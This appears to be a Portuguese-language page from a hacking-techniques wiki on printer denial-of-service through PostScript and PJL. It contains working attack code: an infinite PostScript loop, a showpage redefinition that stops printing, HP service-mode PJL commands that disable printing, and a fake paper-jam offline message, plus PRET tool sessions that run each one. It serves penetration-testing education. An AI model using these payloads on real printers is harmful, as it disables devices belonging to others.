4.3 KiB
Linguagens de descrição de página permitem loops infinitos ou cálculos que requerem muito tempo de computação. Mesmo linguagens minimalistas como PCL podem ser usadas para fazer upload de macros ou fontes permanentes até que a memória disponível seja consumida.
PostScript
Loops infinitos
%!
{} loop
Usando PRET:
./pret.py -q printer ps
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> hang
Warning: This command causes an infinite loop rendering the
device useless until manual restart. Press CTRL+C to abort.
Executing PostScript infinite loop in... 10 9 8 7 6 5 4 3 2 1 KABOOM!
Redefinir showpage
Ao definir showpage
- que é usado em todos os documentos para realmente imprimir a página - para não fazer nada, os trabalhos do PostScript são processados, mas nada será impresso.
true 0 startjob
/showpage {} def
Usando PRET:
./pret.py -q printer ps
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> disable
Disabling printing functionality
Ambos códigos de ataque também podem ser escritos em arquivos Sys/Start, startup.ps ou similares para causar uma DoS permanente em dispositivos com disco gravável.
PJL
PJL jobmedia
Comandos PJL proprietários podem ser usados para colocar dispositivos mais antigos da HP, como a série LaserJet 4k, em modo de serviço e desativar completamente toda a funcionalidade de impressão, como mostrado abaixo:
@PJL SET SERVICEMODE=HPBOISEID
@PJL DEFAULT JOBMEDIA=OFF
Usando PRET:
./pret.py -q printer pjl
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> disable
Printing functionality: OFF
Modo offline
Além disso, o padrão PJL define o comando OPMSG
que "solicita que a impressora exiba uma mensagem especificada e fique offline" \cite{hp1997pjl}. Isso pode ser usado para simular um atolamento de papel, como mostrado abaixo:
@PJL OPMSG DISPLAY="PAPER JAM IN ALL DOORS"
Usando PRET:
./pret.py -q printer pjl
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> offline "MESSAGE TO DSIPLAY"
Warning: Taking the printer offline will prevent yourself and others
from printing or re-connecting to the device. Press CTRL+C to abort.
Taking printer offline in... 10 9 8 7 6 5 4 3 2 1 KABOOM!
Saiba mais sobre esses ataques em http://hacking-printers.net/wiki/index.php/Document_processing
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
-
Descubra A Família PEASS, nossa coleção exclusiva de NFTs
-
Adquira o swag oficial do PEASS & HackTricks
-
Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
-
Compartilhe seus truques de hacking enviando PRs para o repositório hacktricks e hacktricks-cloud repo.